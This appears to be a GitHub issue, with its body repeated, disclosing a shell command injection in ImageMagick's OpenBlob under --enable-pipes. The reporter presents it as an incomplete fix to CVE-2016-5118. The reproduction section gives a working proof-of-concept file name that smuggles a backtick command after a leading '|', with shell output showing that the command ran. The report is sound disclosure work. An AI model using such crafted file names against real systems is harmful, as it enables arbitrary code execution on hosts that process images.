A vulnerability was found in ImageMagick. This security flaw cause a remote code execution vulnerability in OpenBlob with --enable-pipes configured.
### ImageMagick version

6.9.6-4

### Operating system

Linux

### Operating system, version and so on

Any

### Description

While reviewing historical vulnerabilities, I discovered an aribitary code execution vulnerability (shell command injection) in `OpenBlob`, which is actually an incomplete fix to CVE-2016-5118.

CVE-2016-5118 showed that opening any image file whose name starts with a '|' character, ImageMagick will `popen` the remaining part of the file name. As a fix, commit [ca430ff](https://github.com/ImageMagick/ImageMagick/commit/ca430ff77794980941ff0fa0d2fc463b50c2c6b7) add a configure option `--enable-pipes` to specially turn on the support of pipes; and in commit 40639d1, the invocation of `SanitizeString` is added before `popen_utf8` the filename to suppress aribitary command execution.

However, `SanitizeString` only filters out characters like single quotes but not `` ` `` or `"`. This allows shell command injection through malformed file name.

### Steps to Reproduce

#### Prerequisite

Configure ImageMagick with `./configure --enable-pipes`

#### Trigger

Given a normal image file, namely smile.gif, the following triggers the vulnerability:

```bash
/data/home/fullwaywang/exp
➜ echo deadbeef > test.txt

/data/home/fullwaywang/exp
➜ cp smile.gif '|smile"`cat test.txt > leak.txt`".gif'

/data/home/fullwaywang/exp
➜ magick identify '|smile"`cat test.txt > leak.txt`".gif'
sh: smile.gif: command not found
identify: ImproperImageHeader `/tmp/magick-UMqIH3bRZ6v-thgCZxEUhVyYUdKapEiV' @ error/gif.c/ReadGIFImage/1027.

/data/home/fullwaywang/exp
➜ cat leak.txt
deadbeef
```

### Images

_No response_

### Reporter

fullwaywang
RCE (shell command injection) vulnerability in `OpenBlob` with `--enable-pipes` configured
This is a GitHub Issue
repo:ImageMagick
owner:ImageMagick
Title : RCE (shell command injection) vulnerability in `OpenBlob` with `--enable-pipes` configured
Issue date:

--- start body ---
### ImageMagick version

6.9.6-4

### Operating system

Linux

### Operating system, version and so on

Any

### Description

While reviewing historical vulnerabilities, I discovered an aribitary code execution vulnerability (shell command injection) in `OpenBlob`, which is actually an incomplete fix to CVE-2016-5118.

CVE-2016-5118 showed that opening any image file whose name starts with a '|' character, ImageMagick will `popen` the remaining part of the file name. As a fix, commit [ca430ff](https://github.com/ImageMagick/ImageMagick/commit/ca430ff77794980941ff0fa0d2fc463b50c2c6b7) add a configure option `--enable-pipes` to specially turn on the support of pipes; and in commit 40639d1, the invocation of `SanitizeString` is added before `popen_utf8` the filename to suppress aribitary command execution.

However, `SanitizeString` only filters out characters like single quotes but not `` ` `` or `"`. This allows shell command injection through malformed file name.

### Steps to Reproduce

#### Prerequisite

Configure ImageMagick with `./configure --enable-pipes`

#### Trigger

Given a normal image file, namely smile.gif, the following triggers the vulnerability:

```bash
/data/home/fullwaywang/exp
➜ echo deadbeef > test.txt

/data/home/fullwaywang/exp
➜ cp smile.gif '|smile"`cat test.txt > leak.txt`".gif'

/data/home/fullwaywang/exp
➜ magick identify '|smile"`cat test.txt > leak.txt`".gif'
sh: smile.gif: command not found
identify: ImproperImageHeader `/tmp/magick-UMqIH3bRZ6v-thgCZxEUhVyYUdKapEiV' @ error/gif.c/ReadGIFImage/1027.

/data/home/fullwaywang/exp
➜ cat leak.txt
deadbeef
```

### Images

_No response_

### Reporter

fullwaywang
--- end body ---
